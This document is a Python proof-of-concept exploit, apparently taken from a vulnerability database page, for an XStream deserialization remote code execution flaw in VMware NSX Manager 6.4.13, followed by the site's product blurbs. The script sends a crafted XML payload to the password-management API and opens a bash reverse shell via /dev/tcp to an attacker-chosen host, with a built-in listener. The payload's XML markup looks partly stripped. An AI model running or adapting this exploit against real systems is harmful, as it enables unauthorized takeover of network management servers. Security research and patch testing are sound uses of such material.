#!/usr/bin/env python3
"""
VMWare NSX Manager XStream Deserialization of Untrusted Data Remote Code Execution Vulnerability
Version: 6.4.13-19307994
File: VMware-NSX-Manager-6.4.13-19307994-disk1.vmdk
SHA1: f828eccd50d5f32500fb1f7a989d02bddf705c45
Found by: Sina Kheirkhah of MDSec and Steven Seeley of Source Incite
"""
import socket
import sys
import requests
from telnetlib import Telnet
from threading import Thread
from urllib3 import disable_warnings, exceptions
disable_warnings(exceptions.InsecureRequestWarning)
xstream = """foojava.lang.Comparablebash-cbash -i >& /dev/tcp/{rhost}/{rport} 0>&1start"""
def handler(lp):
print(f"(+) starting handler on port {lp}")
t = Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lp))
s.listen(1)
conn, addr = s.accept()
print(f"(+) connection from {addr[0]}")
t.sock = conn
print("(+) pop thy shell!")
t.interact()
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"(+) usage: {sys.argv[0]}")
print(f"(+) eg: {sys.argv[0]} 192.168.18.135 172.18.182.204:1234")
sys.exit(1)
target = sys.argv[1]
rhost = sys.argv[2]
rport = 1234
if ":" in sys.argv[2]:
assert sys.argv[2].split(":")[1].isdigit(), "(-) didnt supply a valid port"
rport = int(sys.argv[2].split(":")[1])
rhost = sys.argv[2].split(":")[0]
handlerthr = Thread(target=handler, args=[rport])
handlerthr.start()
# trigger rce
requests.put(
f"https://{target}/api/2.0/services/usermgmt/password/1337",
data=xstream.format(rhost=rhost, rport=rport),
headers={
'Content-Type': 'application/xml'
},
verify=False
)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation